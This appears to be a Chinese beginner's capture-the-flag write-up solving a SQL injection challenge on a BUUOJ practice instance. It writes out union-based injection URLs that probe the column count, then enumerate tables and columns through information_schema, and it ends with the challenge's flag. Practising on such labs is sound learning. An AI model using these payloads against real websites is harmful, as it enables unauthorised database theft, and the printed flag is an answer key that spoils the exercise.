前言:
最近学了一手SQL注入,就找了个题目练练手
写的比较长,我觉得认真看完挺有用的
我的解题思路:
拿到题目打开就是这样子的,发现有个id=1,那就不用说了,肯定有注入点,然后我就试了试把1改成2和3,
看到2这样和1的差不多,那就改成3试试
然后给了点提示:那就按提示来
然后你就发现id='3',其实这个提示比较明显了,就是字符型的注入点,两个引号嘛,那我们就试试报错
何为报错:
就是输入不同的数字看页面回显
构造payload:
第一次:
http://2c50e4d4-75ed-4e56-8e59-21c60637a9f9.node5.buuoj.cn:81/index.php?id=3' order by 3--+
第二次:
http://2c50e4d4-75ed-4e56-8e59-21c60637a9f9.node5.buuoj.cn:81/index.php?id=3' order by 4--+
可能有同学不知道--+是什么意思,其实就是注释符,把数据库中的引号注释掉,和#差不多,有些题目要用--+,有些用#
看到3的时候正常,4的时候不正常,那就能说明从1,2,3里找注入点
现在尝试爆数字
那什么又是爆数字呢:
像我们这题,我们发现3的时候不报错,4的时候报错,那就从1,2,3里找注入点,其他题目也一样
但是我这里构造语句的时候也有点疑惑,要是知道的给我在评论区解答解答
我发现这样构造不出来:
http://2c50e4d4-75ed-4e56-8e59-21c60637a9f9.node5.buuoj.cn:81/index.php?id=3' +UNION+ALL+SELECT+1,2,3--+
这样才能:
http://2c50e4d4-75ed-4e56-8e59-21c60637a9f9.node5.buuoj.cn:81/index.php?id=0' +UNION+ALL+SELECT+1,2,3--+
我试了试发现id=多少都行,除了1,2,3
这样就是没爆出来的
这样就是爆出来的,那就说明注入点在2,3里,现在我们试试爆数据库名和版本
这个就说明数据库名是note,但是这个MariaDB我也第一次见,那不懂就百度
那其实就是MYSQL注入了,那就接着构造payload,爆表名,这里我就不介绍了,和报错和爆数字差不多的,那像我这个是怎么写的呢,就是根据数据库的类型去网上查输入语句
http://2c50e4d4-75ed-4e56-8e59-21c60637a9f9.node5.buuoj.cn:81/index.php?id=0' +UNION+ALL+SELECT+1,table_name,3 from information_schema.tables where table_schema='note'--+
现在就是爆列名
http://2c50e4d4-75ed-4e56-8e59-21c60637a9f9.node5.buuoj.cn:81/index.php?id=0' +UNION+ALL+SELECT+1,column_name,3 from information_schema.columns where table_name='fl4g' and table_schema='note'--+
那一般情况下,flag应该是就在这个列名下面了
然后就出来了
flag:n1book{union_select_is_so_cool}
总结:
SQL注入就是一步一步来的,当然SQLMAP应该是能直接出来的,但是我觉得新手和我一样的还是可以试试手工注入的,更有成就感哈哈哈哈